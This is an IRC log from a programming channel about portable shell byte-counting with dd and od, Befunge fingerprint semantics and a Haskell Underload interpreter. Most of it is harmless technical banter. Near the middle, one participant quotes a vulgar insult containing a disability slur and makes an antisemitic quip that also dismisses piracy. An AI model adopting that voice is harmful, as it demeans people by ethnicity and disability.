21:17:33 <Vorpal> elliott, I use bash on linux yes
21:17:37 <elliott> <Vorpal> elliott, same for scripting
21:17:37 <Vorpal> elliott, what do you expect?
21:17:38 <elliott> What do you mean?
21:17:47 <elliott> Deewiant is talking about POSIX, not Linux.
21:17:50 <Vorpal> elliott, as far as I remember tcsh has rather limited redirecting
21:18:04 <elliott> Yes, but for interactive use that rarely matters.
21:18:16 <Vorpal> elliott, what?
21:18:19 <Deewiant> r% echo foobar | printf "%s" "`cat`"
21:18:19 <Deewiant> cat: input error on standard input: I/O error
21:18:21 <elliott> What do you mean, "what".
21:18:29 <elliott> Most people don't do insanely complex redirection in interactive usage.
21:18:49 <elliott> Deewiant: Why did you have to keep track of what fingerprint each instruction came from for FING?
21:18:54 <elliott> I noticed that comment in CCBI a while back.
21:19:04 <elliott> Currently I just have: fpInstructions :: Map FPIns [Shiro ()]
21:19:07 <fizzie> Deewiant: ... | od -N <bytes> -v -t x1 -A n | tr ' ' '\n' | grep -v '^$' | (while read byte; do printf "\x$byte"; done) | ...
21:19:20 <Vorpal> elliott, don't you do stuff like ... 1>&2 2>&1 | grep foo | tee ...
21:19:21 <Deewiant> elliott: I can't remember.
21:19:22 <Vorpal> :P
21:19:29 <elliott> Vorpal: No, and nor do most people.
21:19:35 <Vorpal> elliott, huh
21:19:44 <elliott> I am somehow unsurprised that this surprises you.
21:19:49 <oerjan> elliott: anyway i gave up on the ! = a(!)** idea and went back to a(*)** instead. conceptually that requires programs to leave junk on top of the stack, but much of that turns into consecutive literal (junk)a(*)** which can be removed.
21:19:52 <Vorpal> elliott, well of course most people don't
21:19:56 <Vorpal> elliott, most people run windows
21:20:01 <elliott> Most people who use shells.
21:20:04 <oerjan> see my last Underload page edits
21:20:05 <Vorpal> but I meant those who use the shell daily yes
21:20:10 <Deewiant> ... | od -N 10000 -v -t x1 -A n | tr ' ' '\n' | grep -v '^$' | (while read byte; do printf "\x$byte"; done) | wc -c
21:20:14 <Deewiant> 10625
21:20:19 <Vorpal> elliott, fd manipulation is quite a common activity if you work a lot in bash
21:20:20 <Deewiant> fizzie: Not quite!
21:20:22 <Vorpal> or other shells
21:20:23 <fizzie> Deewiant: So close!
21:20:38 <Vorpal> Deewiant, what are you trying to do?
21:20:51 <fizzie> Deewiant: Should've tested on non-text files too, I guess. Not quite sure what it does wrong, though.
21:20:56 <Deewiant> Vorpal: head -c10000
21:21:09 <Vorpal> Deewiant, ... why not just do head -c10000 ?
21:21:15 <Deewiant> Vorpal: Requires GNU head
21:21:19 <Vorpal> Deewiant, oh hah
21:21:23 <Vorpal> Deewiant, try split
21:21:27 <Vorpal> then keep the first part
21:21:34 <Deewiant> Vorpal: Doesn't go to stdout
21:21:36 <fizzie> Vorpal: Already suggested, doesn't go to stdout. Anyway, "dd" works.
21:21:44 <Vorpal> ah yes dd indeed
21:21:49 <Vorpal> and dd is POSIX afaik
21:22:34 <fizzie> Deewiant: Weird: $ dd if=/dev/urandom bs=1M count=1 | od -N 10000 -v -t x1 -A n | tr ' ' '\n' | grep -v '^$' | (while read byte; do printf "\x$byte"; done) | wc -c
21:22:36 <fizzie> 10000
21:22:43 <fizzie> "EWORKSFORME"
21:22:48 <Vorpal> Deewiant, dd if=/usr/share/dict/words of=/dev/stdout bs=1 count=10000 2>/dev/null
21:22:53 <Vorpal> that does what I expect it to
21:23:02 <Vorpal> Deewiant, you can of course use /dev/stdin
21:23:06 <elliott> So X in FING swaps the whole stacks, right?
21:23:06 <Vorpal> and I think dd is standard
21:23:11 <Vorpal> elliott, no
21:23:13 <Deewiant> % seq 1 10000 | tr -d \\n | od -N 10000 -v -t x1 -A n | tr ' ' '\n' | grep -v '^$' | (while read byte; do printf "\x$byte"; done) | wc -c
21:23:13 <fizzie> Vorpal: dd defaults to stdin/stdout.
21:23:15 <Vorpal> elliott, pretty sure just the top
21:23:16 <Deewiant> 10625
21:23:18 <Deewiant> % seq 1 10000 | tr -d \\n | dd bs=1 count=10000 2>/dev/null | wc -c
21:23:18 <Deewiant> fizzie: ENOTHERE
21:23:19 <Vorpal> fizzie, oh? right
21:23:21 <Deewiant> 10000
21:23:22 <elliott> Vorpal: I see no EVIDENCE.
21:23:34 <fizzie> Vorpal: And /dev/stdin might not quite be standard; not sure.
21:23:36 <Vorpal> elliott, did you try the official test suite?
21:23:39 <elliott> fizzie: It isn't.
21:23:40 <elliott> Vorpal: No.
21:23:47 <Vorpal> elliott, also, where does it say it should swap the whole stack?
21:24:00 <elliott> OK, it's really vague :P
21:24:14 <Vorpal> elliott, so as much evidence for both then
21:24:20 <fizzie> Deewiant:
21:24:21 <fizzie> $ seq 1 10000 | tr -d \\n | od -N 10000 -v -t x1 -A n | tr ' ' '\n' | grep -v '^$' | (while read byte; do printf "\x$byte"; done) | wc -c
21:24:21 <fizzie> 10000
21:24:31 <fizzie> Maybe a locale thing. Who knows.
21:24:39 <Vorpal> locale can mess up a lot
21:24:44 <Vorpal> try LC_ALL=C in front
21:24:54 <Vorpal> well at a suitable place
21:25:01 <Vorpal> well,*
21:25:07 <Deewiant> LC_ALL=C doesn't change things here
21:25:18 <Vorpal> Deewiant, I'm not sure what the scope of it is
21:25:28 <Vorpal> Deewiant, try exporting it before running that line
21:25:33 <Deewiant> I think the grep isn't working
21:25:36 <Vorpal> Deewiant, anyway what is wrong with the dd-solution?
21:25:54 <Deewiant> Nothing, fizzie's just being convoluted
21:26:01 <Vorpal> Deewiant, oh. Hah
21:26:17 <fizzie> Deewiant: If it's the grep, you could use grep '[0-9a-f]' instead of grep -v'ing empty lines.
21:26:28 <Deewiant> It's not the grep, ggrep doesn't change things
21:26:34 <Deewiant> But there's blank-looking stuff there
21:26:39 <Vorpal> Deewiant, what OS are you on?
21:26:47 <Vorpal> Deewiant, look for tabs
21:26:56 <Vorpal> Deewiant, instead of spaces I mean
21:27:04 <Vorpal> or both probably
21:27:19 <Deewiant> fizzie: There's lines containing only tabs
21:27:28 <Deewiant> grep -v '^ *$' -- works
21:27:49 <elliott> !haskell print (2+2)
21:27:57 <Vorpal> Deewiant, I would still suggest dd due to being simpler :P
21:27:58 <elliott> !haskell print (case 4 of { 2 -> 4 -> 42 })
21:28:03 <elliott> !haskell print (case 4 of { 2, 4 -> 42 })
21:28:04 <Deewiant> Vorpal: Of course
21:28:13 <Vorpal> Deewiant, but what OS do you need this on?
21:28:28 <elliott> Solaris.
21:28:33 <elliott> POSIX, rather :P
21:28:35 <Deewiant> I don't "need" this anywhere
21:28:41 <elliott> "Z will push a reflect if the source semantic stack is empty"
21:28:42 <elliott> >_<
21:28:43 <Deewiant> I was just interested :-P
21:28:53 <Vorpal> Deewiant, what did you need it for?
21:28:54 <Deewiant> elliott: Hey, at least it's specced.
21:29:11 <elliott> Gah, "a -> b -> c" isn't valid case in Haskell.
21:29:11 <Vorpal> elliott, it is trivial to do so
21:29:15 <elliott> I DON'T LIKE REPEATING MAHSELF.
21:29:21 <elliott> Vorpal: It's stupid, however.
21:29:24 <Deewiant> Vorpal: I was just using head -c and tried it on this solaris system, and then wondered what the actual POSIX way is
21:29:29 <elliott> Well.
21:29:30 <Vorpal> elliott, stop complaining about this. There are far far worse fingerprints.
21:29:32 <elliott> "Y will not reflect popping an empty semantic stack"
21:29:33 <elliott> That's more stupid.
21:29:38 <elliott> Vorpal: I'll complain about whatever I want.
21:29:39 <fizzie> Deewiant: Well, the theory was sound, anyway! Incidentally, I tried to test your test-case on Solaris + zsh, but % seq
21:29:39 <fizzie> zsh: command not found: seq
21:29:54 <Deewiant> Yeah, seq is GNU, I know :-)
21:30:00 <Vorpal> elliott, well you will just run out of complaining at this rate!
21:30:10 -!- EgoBot has quit (Ping timeout: 240 seconds).
21:30:14 <Deewiant> fizzie: Easily replaced with a loop, though.,
21:30:24 -!- EgoBot has joined.
21:30:25 <Vorpal> or with
21:30:31 <Vorpal> {1..10000}
21:30:40 <elliott> @hoogle Maybe a -> Maybe b -> Maybe (a,b)
21:30:40 <lambdabot> Data.Generics.Twins gmapAccumT :: Data d => (a -> e -> (a, e)) -> a -> d -> (a, d)
21:30:40 <lambdabot> Control.Monad.RWS.Lazy execRWST :: Monad m => RWST r w s m a -> r -> s -> m (s, w)
21:30:41 <lambdabot> Control.Monad.RWS.Strict execRWST :: Monad m => RWST r w s m a -> r -> s -> m (s, w)
21:30:42 <Vorpal> that's bash
21:30:46 <Vorpal> $ echo {1..10}
21:30:47 <Vorpal> 1 2 3 4 5 6 7 8 9 10
21:30:48 <elliott> @hoogle (m a, m b) -> m (a,b)
21:30:49 <lambdabot> No results found
21:30:51 <elliott> >:E
21:30:53 <Vorpal> very likely bash only
21:30:56 <Vorpal> Deewiant, or?
21:31:02 <Vorpal> well zsh may do it
21:31:03 <Deewiant> I don't know, I don't have dash or anything :-P
21:31:10 <Vorpal> Deewiant, ah...
21:31:24 <Vorpal> Deewiant, dash fails it
21:31:33 <Vorpal> but then dash is quite bad in general
21:32:23 <elliott> dash isn't that bad.
21:32:35 <Vorpal> elliott, as an interactive shell it is
21:32:39 <elliott> nO SHIT
21:32:41 <elliott> *No shit
21:32:57 <Vorpal> $ dash
21:32:57 <Vorpal> \[\033[01;32m\]\u@\h\[\033[01;34m\] \w $\[\033[00m\] echo {1..10}
21:33:00 <Vorpal> that fails quite a bit
21:33:06 <elliott> No.
21:33:08 <elliott> That's POSIX-compliant.
21:33:10 <elliott> :t Data.Map.adjust
21:33:10 <lambdabot> forall a k. (Ord k) => (a -> a) -> k -> M.Map k a -> M.Map k a
21:33:25 <Vorpal> elliott, uh even the literal \u \h and \w bit?
21:33:35 <elliott> I believe so.
21:33:35 <Vorpal> elliott, how would then PS1 be useful for anything at all
21:33:40 <elliott> For setting your prompt.
21:33:43 <elliott> PS1="$ "
21:33:44 <elliott> PS1="# "
21:33:56 <Vorpal> useless. I would get lost without a path
21:34:03 <elliott> Not useless, just not up to your high standards.
21:34:04 <elliott> :t maybe
21:34:05 <lambdabot> forall b a. b -> (a -> b) -> Maybe a -> b
21:34:08 -!- Sgeo has quit (Ping timeout: 240 seconds).
21:34:44 -!- tswett_ has changed nick to tswett.
21:35:05 <elliott> Deewiant: Are there any "pre-built" Fungicide benchmarks out there? :P
21:35:15 <Deewiant> Pre-built?
21:35:33 <elliott> Deewiant: As in not in .bre form. I suppose .sh and .pl are acceptable here :P
21:35:34 <elliott> What's .bre anyway
21:35:41 <elliott> Runlength encoding?
21:36:00 <Deewiant> .bre has an expander somewhere there, it's my own Fungicide-only file format
21:36:11 <Deewiant> IIRC it's short for "begin, repeat, end"
21:36:35 <oerjan> <elliott> @hoogle Maybe a -> Maybe b -> Maybe (a,b) <-- liftM2 (,)
21:38:15 <Vorpal> elliott, done FING yet?
21:38:20 <elliott> Doing it.
21:38:33 <Vorpal> elliott, is that why you wanted a -> b -> c above?
21:38:38 <Vorpal> if so: uh
21:38:39 <elliott> yes
21:38:47 <elliott> Nothing == Just []
21:38:55 <Vorpal> heh
21:39:01 <elliott> Although I suppose I never actually have Just [].
21:39:16 <Vorpal> elliott, I can't get a -> b -> c to make sense :P
21:39:20 <elliott> Oh, I do.
21:39:30 <elliott> Vorpal: case x of {a -> b -> c} === case x of {a -> c; b -> c}
21:39:52 <Vorpal> elliott, oh indeed
21:39:57 <Vorpal> elliott, where c is a fixed value?
21:40:07 <elliott> ?
21:40:11 <Vorpal> guess not
21:40:16 <elliott> case x of
21:40:22 <elliott> Nothing -> Just [] -> reflect
21:40:25 <elliott> Just ... -> ...
21:40:26 <elliott> For instance.
21:40:35 <elliott> Just like "case x: case y:" in C.
21:40:36 <Vorpal> elliott, it would work if you had a -> b -> <specific type here> right ?
21:40:40 <elliott> IT'S NOT A TYPE
21:40:45 <Vorpal> oh
21:40:53 <Vorpal> elliott, that is why it made no sense then XD
21:41:25 <Vorpal> night -> bed -> sleep
21:45:08 <elliott> oerjan: Anyway, I'll see about writing a super smart interpreter for botte.
21:47:22 <elliott> :t Data.Map.adjust
21:47:23 <lambdabot> forall a k. (Ord k) => (a -> a) -> k -> M.Map k a -> M.Map k a
21:47:27 <elliott> ah!
21:47:29 <elliott> :t Data.Map.alter
21:47:30 <lambdabot> forall a k. (Ord k) => (Maybe a -> Maybe a) -> k -> M.Map k a -> M.Map k a
21:47:52 <oerjan> hm...
21:47:54 <elliott> oerjan: I think Underload might be my new favourite esolang
21:48:02 <oerjan> :t Control.ParserCombinators.parser
21:48:03 <lambdabot> Couldn't find qualified module.
21:48:05 <oerjan> er
21:48:10 <oerjan> :t Control.ParserCombinators.Parsec.parser
21:48:11 <lambdabot> Couldn't find qualified module.
21:48:13 <elliott> oerjan: you might want Text.Parsec., for parsec 3
21:48:21 <oerjan> :t Text.Parsec.parser
21:48:21 <lambdabot> Couldn't find qualified module.
21:48:28 <oerjan> apparently not.
21:48:43 <oerjan> anyway i was just looking it up as an example
21:49:16 <oerjan> i noticed result for Data.Map gave the M. which you can use as abbreviation in lambdabot
21:49:19 <oerjan> *the
21:52:41 <elliott> oerjan: quick, write (a -> Maybe [a] -> a) (acting like head for the Just (:) case)
21:53:14 <oerjan> :t fromMaybe head
21:53:15 <lambdabot> forall a. Maybe ([a] -> a) -> [a] -> a
21:53:29 <oerjan> oh wait
21:53:33 <elliott> lol
21:53:36 <elliott> nice signature
21:53:37 <elliott> :t fromMaybe
21:53:38 <lambdabot> forall a. a -> Maybe a -> a
21:53:43 <oerjan> :t flip maybe head
21:53:43 <lambdabot> forall a. a -> Maybe [a] -> a
21:53:52 <elliott> oh, of course
21:54:03 <elliott> @hoogle (a -> b) -> (a,a) -> (b,b)
21:54:03 <lambdabot> Data.Graph.Inductive.Query.Monad (><) :: (a -> b) -> (c -> d) -> (a, c) -> (b, d)
21:54:03 <lambdabot> Data.Graph.Inductive.Query.Monad mapSnd :: (a -> b) -> (c, a) -> (c, b)
21:54:03 <lambdabot> Data.Graph.Inductive.Query.Monad mapFst :: (a -> b) -> (a, c) -> (b, c)
21:54:06 <elliott> I think that's some Arrow function
21:54:09 <elliott> or wait, is it Deewiant's both :D
21:54:17 <elliott> oerjan: er no that doesn't work
21:54:20 <oerjan> :t join (***)
21:54:20 <elliott> oerjan: because it can be Just []
21:54:20 <lambdabot> forall (a :: * -> * -> *) b c. (Arrow a) => a b c -> a (b, b) (c, c)
21:54:39 <Deewiant> It is
21:54:39 <elliott> :t \x -> fromMaybe [] x
21:54:40 <lambdabot> forall a. Maybe [a] -> [a]
21:54:41 <oerjan> (needs (e ->) Monad)
21:55:02 <elliott> :t \default x -> case fromMaybe [] x of y:_ -> y; [] -> default
21:55:02 <lambdabot> parse error on input `default'
21:55:03 <oerjan> elliott: you _said_ to work like head
21:55:09 <elliott> oerjan: shaddap :D
22:04:25 <elliott> Ooh, I didn't notice this REPLY TO A REDDIT COMMENT OF MINE by the ESTEEMED SCHOLAR "hockeydude123": "yeah lick my ass bitch. java is awesome and its easy. c++ has a retarded compilation system and python is for children."
22:04:40 <oerjan> very eloquent.
22:04:51 <elliott> I think it's poetry.
22:04:53 <elliott> yeah lick my ass bitch.
22:04:55 <elliott> java is awesome
22:04:58 <elliott> and its easy.
22:05:00 <elliott> c++ has a retarded
22:05:02 <elliott> compilation system
22:05:05 <elliott> and python is for children.
22:05:35 <oerjan> no no.
22:05:41 <oerjan> yeah lick my
22:05:45 <oerjan> ass bitch.
22:05:48 <elliott> java is
22:05:51 <elliott> awesome and its
22:05:53 <elliott> easy. c++ has a
22:05:55 <elliott> retarded compilation
22:05:58 <elliott> system and python
22:05:59 <elliott> is for chil
22:06:00 <elliott> dre
22:06:01 <elliott> n.
22:06:08 <oerjan> a clear improvement.
22:06:09 -!- elliott has quit (Read error: Connection reset by peer).
22:06:26 -!- elliott has joined.
22:06:47 <elliott> ffffffffffffffff
22:06:48 <elliott> ffffff
22:06:49 <elliott> fffffffffffff
22:06:49 <elliott> fffff
22:06:53 <elliott> fffff
22:07:03 <oerjan> wow what big f you've got
22:07:15 <elliott> wow
22:07:17 <elliott> that actually made an f
22:07:18 <elliott> :D
22:07:18 <elliott> cool
22:07:21 <elliott> totally accidental of course
22:07:26 <elliott> i could do the rest of the word but
22:07:29 <elliott> too much effort
22:07:29 <oerjan> I DON'T BELIEVE YOU
22:07:42 <elliott> it was totally unplanned
22:07:50 <oerjan> IF YOU SAY SO
22:07:56 <elliott> oerjan: do any underload programs (that you know of) combine two non-church numerals to form a church numeral?
22:08:10 <elliott> or do all church numeral computations start with a church numeral literal in the source? :P
22:08:13 <oerjan> what's a non-church numeral?
22:08:26 <elliott> oerjan: (!!^^!^!) isn't a church numeral for instance :P
22:08:42 <elliott> ({:^n}{*^n}), but also accounting for (:*:*) and the like, basically.
22:08:46 <oerjan> indeed, that's a list of case lookups
22:08:52 <elliott> possibly even ! in there.
22:09:35 <oerjan> let me check the examples list
22:09:59 <elliott> oerjan: i have a feeling that the functions which essentially "construct" their own church numerals might fail like this though. so actually i should try to convert to church numeral on every operation.
22:09:59 <elliott> grumble.
22:10:20 <elliott> oerjan: amusingly underload's church numerals have optimal complexity for at least multiplication and exponentiation
22:10:22 <elliott> O(log n)
22:10:38 <elliott> it's just that the only programs you can actually run, would work better with O(1) fixed-size arithmetic :P
22:10:43 <elliott> (good luck constructing 2^64 in Underload)
22:10:49 <oerjan> well they can be encoded as binary
22:10:57 <elliott> oerjan: that's just a multiplicative constant :)
22:10:57 <oerjan> essentially
22:11:01 <elliott> oh, i see
22:11:02 <elliott> right
22:11:15 <oerjan> but are unary to use yeah
22:11:27 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:11:47 <oerjan> 2a = a:* , a+1 = :a*
22:12:00 <oerjan> er wait no
22:12:03 <oerjan> yes
22:12:26 <elliott> oerjan: it would be interesting to see _real_ church numerals in underload.
22:12:45 <elliott> i.e. x f 3^ === x f^f^f^
22:13:02 <elliott> hmm
22:13:04 <elliott> I think that's just (^)*
22:13:08 <elliott> onto a normal underload numeral
22:14:36 <oerjan> right
22:15:01 <elliott> oerjan: what is it with underload's frighteningly good economy of expression :)
22:18:54 <oerjan> i don't think there are any of the programs that convert from something else to a church numeral, unless that something else is something temporary originally coming from another church numeral
22:19:16 <oerjan> actually i'm not sure they even do that
22:20:16 * elliott tries to come up with a name
22:20:17 <oerjan> actually of the wiki examples, only the look-and-say sequence does anything resembling arithmetic on church numerals
22:20:26 <elliott> deburden? unencumber? :D
22:20:28 <elliott> strainless?!
22:20:35 <elliott> (opposites of synonyms for overload)
22:20:53 <oerjan> and it's really just an equality check, which passes through a temporary representation
22:21:23 <elliott> oerjan: I NEED SUGGESTIONS HERE
22:21:51 <oerjan> oh
22:22:26 <oerjan> deprivation
22:22:48 <oerjan> (when prefixed with "sensory")
22:22:48 -!- elliott has quit (Read error: Connection reset by peer).
22:23:24 -!- elliott has joined.
22:23:33 <elliott> oerjan: that's lame
22:23:35 <elliott> i need something SHORT
22:23:36 <elliott> and and and
22:23:39 <elliott> SHORT
22:23:51 <oerjan> oh well naturally some use a little bit of arithmetic to construct their church numerals in the first place
22:24:06 <oerjan> reprieve?
22:24:21 <elliott> relief, let's try
22:24:56 <elliott> oerjan: hm do you think it's acceptable if the program ((abc)Shello)^ fails immediately without outputting anything? I'm thinking that I could store invalid programs as strings
22:26:00 <oerjan> no i don't think so, i sometimes append a comment to a program
22:26:18 <oerjan> you are free to use a string from the h _on_, of course
22:26:29 <elliott> oerjan: what if i stripped just comments at the end of a whole program :-D
22:26:41 <elliott> or, well, replaced with invalidness
22:27:05 <elliott> hm I suppose that storing it as a string isn't really faster...
22:27:36 <oerjan> the speed of immediately crashing is rarely a bottleneck, i think
22:27:50 <elliott> :D
22:28:53 <elliott> oerjan: we should call numbers Smith numbers or something since they're not really Church
22:29:58 <oerjan> http://en.wikipedia.org/wiki/Brunstad_Christian_Church
22:30:10 <elliott> BUT OF COURSE.
22:30:23 <elliott> let's call them brunstads.
22:31:18 -!- pikhq_ has joined.
22:31:35 <elliott> oerjan: i wonder what ais's "lazy concatenation" actually is, anyone have a derlo source lin?
22:31:36 <elliott> *link?
22:31:38 <elliott> prolly EgoBot has it
22:31:42 -!- pikhq has quit (Ping timeout: 260 seconds).
22:32:50 <elliott> hm I should probably use a non-list stack structure :)
22:33:16 <oerjan> (btw that link was because of their unofficial name "Smith's friends")
22:34:03 <elliott> i guessed
22:34:57 -!- Phantom_Hoover has quit (Quit: Leaving).
22:37:34 <elliott> oerjan: aargh, I can't do church in the "naive" way
22:37:41 <elliott> because the string repr. could have useless junk
22:37:44 <elliott> so i have to keep that around too...
22:37:56 <oerjan> what?
22:38:01 <elliott> what?
22:38:26 * oerjan doesn't understand the problem
22:38:33 <elliott> I can't have (Church Int) as a constructor
22:38:35 <elliott> because you can S them
22:38:42 <elliott> and it won't always be {:^n}{*^n}
22:38:46 <elliott> consider (:*:*:*)
22:38:49 <elliott> and (:!:*)
22:38:49 <elliott> etc.
22:38:50 <oerjan> ah
22:40:01 <oerjan> perhaps you could have an efficient representation for a string repeated
22:40:06 -!- MUILTFN_ has joined.
22:40:15 <elliott> oerjan: that might help. I'll consider it.
22:41:33 <oerjan> an underload element sort of needs two different data parts, for the program and string
22:41:49 <elliott> *Main> one Cat [Church 42 "blah", Church 24 "blah2"]
22:41:49 <elliott> ([Church 1008 "blah2blah"],"")
22:41:50 <elliott> at least that's right
22:44:48 <oerjan> hm i guess haskell laziness makes it less necessary to use such a representation
22:44:49 <elliott> oerjan: annoyingly i have to use slow Integer whenever you do * or ^ on numbers
22:44:53 <elliott> to handle overflow
22:44:58 <elliott> I suppose I could just use Integer always
22:45:00 <elliott> yeah, i'll do that
22:45:05 <elliott> for PURITY
22:45:32 <elliott> oerjan: oh _dear_ writing Eq for Obj is going to be a pain :) ... are you sure that repeated thing is feasible :P
22:46:35 <oerjan> what do you need Eq for
22:46:43 * oerjan whistles innocently
22:47:07 <Gregor> Why isn't there a 24-hour Seinfeld channel.
22:47:09 <elliott> oerjan: for ADVANCED CONCATENATION
22:47:14 <elliott> Gregor: It's called the internets.
22:47:24 <Gregor> Why isn't there a legal 24-hour Seinfeld channel.
22:47:41 <Gregor> I suppose I could buy the DVDs X-P
22:47:48 <Gregor> Then play those on loop for eternity.
22:49:19 <elliott> @hoogle Int -> [a] -> [a]
22:49:20 <lambdabot> Prelude drop :: Int -> [a] -> [a]
22:49:20 <lambdabot> Prelude take :: Int -> [a] -> [a]
22:49:20 <lambdabot> Data.List drop :: Int -> [a] -> [a]
22:49:26 <elliott> Gregor: Who cares about legality.
22:49:27 <elliott> You're a jew.
22:50:41 <oerjan> elliott: SURE SO HE DOESN'T WANT TO STEAL FROM SEINFELD, OF COURSE
22:50:59 <elliott> WELL THAT EXPLAINS EVERY...NOTHING
22:51:21 <oerjan> elliott: i think you may want concat (replicate ..)
22:51:31 <elliott> yah, i'm using that
22:51:32 <elliott> it's just ugly :)
22:51:41 <elliott> haskell would be better if all the standard functions had one-symbol names.
22:51:44 <elliott> well or at least more convenient.
22:51:53 <elliott> or at least two symbols.
22:51:55 <oerjan> jhaskell
22:52:12 <elliott> :t replicate
22:52:13 <lambdabot> forall a. Int -> a -> [a]
22:52:17 <elliott> oerjan: :. (** 42 xs)
22:52:22 <elliott> obviously :. makes a lot of dots into one dot
22:52:27 <elliott> i.e. concat
22:52:29 <elliott> except it'd actually be join
22:52:32 <elliott> for awesomeness
22:52:39 <elliott> and ** is obviously * but different.
22:52:41 <elliott> ergo replicate.
22:52:46 <elliott> (^^ would be more mathematician-pleasing)
22:52:55 <elliott> now make symbol calls associate right by default
22:52:58 <elliott> :.**42 xs
22:53:00 <elliott> voila, jaskell!
22:53:25 <elliott> also replicate would be genericReplicate instead of STUPID_RETARDED_INT_ONLY_REPLICATE like it is now.
22:53:57 <oerjan> I ASSUME THAT'S THE ACTUAL C SYMBOL IN THE CODE
22:54:14 <elliott> "the actual C symbol"?
22:54:33 <oerjan> OR WHATEVER
22:54:34 <elliott> oerjan: hm if you do (n1)(n2)^ where those are church numerals, what's the resulting _string_?
22:54:40 -!- zzo38 has joined.
22:54:43 <elliott> ^ul (:::***)(::**)^S
22:54:43 <fungot> :::***:::***:::***
22:54:49 <elliott> ah.
22:54:53 <oerjan> n2 copies of n1
22:54:55 <elliott> right
22:55:02 -!- zzo38 has set topic: The Internet's #0 Tay Zonday fan club! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:55:26 <oerjan> that's the precise use case i suggested a repeated string representation for, anyway
22:55:39 <oerjan> well i guess it's useful for any (x)n
22:55:46 <elliott> *Main> run [Call] [Church 42 "blah", Church 24 "blah2"]
22:55:46 <elliott> ([Church 907784931546351634835748413459499319296 "blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2blah2"],"")
22:55:46 <elliott> yay
22:55:51 -!- Gregor has set topic: The Internet's #0 Tay Zonday fan club! | Also the Internet's #3 Zon Tayday fan club | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
22:55:54 <elliott> oerjan: oh, really? i just use that for
22:56:00 <elliott> call (Church n _) (x:xs) = (Rept n x : xs, "")
22:56:06 <elliott> the actual _strings_ i don't optimise, 'cuz who would optimise those
22:56:13 <oerjan> heh
22:56:13 <elliott> lame people that's who
22:56:17 <elliott> output SHOULD be slow, it's impure!
22:56:25 <oerjan> elliott: well you _could_ get a memory leak
22:56:59 <elliott> now i just need a parser that can recognise church numerals :(
22:57:03 <oerjan> if you printed a long string and kept it around
22:57:09 <elliott> gah, haskell needs two-way functions :D
22:57:14 <elliott> strOp Swap = "~"
22:57:15 <elliott> strOp Dup = ":"
22:57:15 <elliott> strOp Drop = "!"
22:57:15 <elliott> strOp Cat = "*"
22:57:15 <elliott> strOp (Push x) = '(' : str x ++ ")"
22:57:16 <elliott> strOp Wrap = "a"
22:57:17 <elliott> strOp Call = "^"
22:57:19 <elliott> strOp Print = "S"
22:57:21 <elliott> strOp (Invalid s) = s
22:57:23 <elliott> i just wanna replace = with <-> you know
22:57:25 <elliott> except without the invalid clause
22:57:38 <oerjan> hm
22:57:48 <elliott> for my parser that is
22:58:12 <oerjan> well all but to of those _could_ be done with an [(Obj, String)]
22:58:20 <elliott> all but to.
22:58:24 <oerjan> (require your Eq again though)
22:58:25 <oerjan> *two
22:58:36 <oerjan> I SWEAR MY KEYBOARD IS BROKEN
22:58:42 <oerjan> or possibly my fingers
23:00:25 <oerjan> elliott: i vaguely recall seeing something about bidirectional parsers discussed somewhere
23:00:46 <oerjan> or possibly it was bidirectional conversion between datatypes
23:00:49 <elliott> yes we mentioned them in here recently.
23:00:59 <oerjan> no, the recall is not recent
23:01:03 <elliott> well yes
23:01:04 <elliott> i was under the impression that they were impossible to make harder about, they weren't applicatives or something i think
23:01:07 <elliott> but there's this new paper on LtU
23:01:09 <elliott> that purports to do it
23:01:11 <elliott> but whatever :P
23:01:12 <oerjan> i think it may have been from when i read LtU
23:01:19 <oerjan> but that was years ago
23:01:21 <elliott> you don't any more? :(
23:01:25 <elliott> but but
23:01:29 <elliott> ltu is one of the last havens!
23:01:37 <oerjan> somehow has slipped off my list
23:02:13 <oerjan> ->
23:03:05 <elliott> oerjan: HOW CAN YOU LEAVE
23:03:08 <elliott> I AM DOING THIS FOR YOU :|
23:03:08 <elliott> :p
23:03:35 -!- augur has quit (Ping timeout: 240 seconds).
23:04:52 <elliott> "No instance for (Stream s m Char)" wtf
23:05:06 <elliott> oh
23:05:08 <elliott> just needed a type signature
23:05:15 <coppro> I hate that error
23:15:33 <variable> https://twitter.com/#!/SecureTips -> this is great :-\
23:17:17 <copumpkin> yeah, I love it
23:17:57 <elliott> heh is that a dig at the tarsnap bug? :)
23:18:22 <variable> elliott: yes
23:18:32 <oerjan> <-
23:18:36 <elliott> "@SecureTips Sigh..." --cperciva
23:18:39 <elliott> he must be rather sick of hearing it by now :D
23:19:03 <elliott> oerjan: i have a parser that handles ({:^n}{*^n}) church numerals now
23:19:16 <elliott> oerjan: :*:* will be more irritating to do, especially if I handle e.g. (foo:*:*:*bar)
23:19:31 <variable> elliott: I've followed --cperciva for a while - but just found @SecureTips through him
23:19:49 <elliott> "--cperciva", hmm, i sense a business opportunity for twitter
23:19:51 <elliott> buy your own account prefix!
23:20:01 <elliott> hi, I'm %%%$$$£```person
23:22:20 <elliott> oerjan: but anyhow, this should be a decent interpreter.
23:22:31 <elliott> oerjan: i suspect it's likely slower in raw performance thanks to laziness
23:22:32 <oerjan> nice
23:22:43 <elliott> oh, and I don't have an implementation for calling the result of a church numeral exponentiation
23:22:45 <elliott> I'll fix hat
23:22:46 <elliott> *that
23:22:51 <elliott> (i.e. (nonchurch)(church)^)
23:23:38 * oerjan has an ice coffee cappuccino
23:24:15 <elliott> what's 0 in church numerals again?
23:24:20 <oerjan> !()
23:24:20 <elliott> sorry, *smithmerals
23:24:26 <elliott> oerjan: ah yes.
23:24:35 <elliott> (whoops, think I have an off-by-one)
23:24:54 * iconmaster is finding making the regex for BFJoust ()* constructs is difficult to make without the \bxy thing.
23:24:57 <elliott> oh and i don't parse (!()) as a numeral of course
23:25:02 <elliott> iconmaster: don't replace them beforehand.
23:25:05 <elliott> that causes severe issues.
23:25:37 <oerjan> numeral := numeral numeral | : numeral * | | !()
23:25:46 <oerjan> that should cover the most important ones, no?
23:26:08 <elliott> oerjan: well yes. feel free to write the [Op] -> Maybe Integer for that
23:26:20 <oerjan> ...i suppose you don't want that | | directly in there
23:26:20 <elliott> (Dup, Cat, Drop, and Push (Quote []) are the relevant things there)
23:26:32 <oerjan> eek
23:26:32 -!- elliott has quit (Read error: Connection reset by peer).
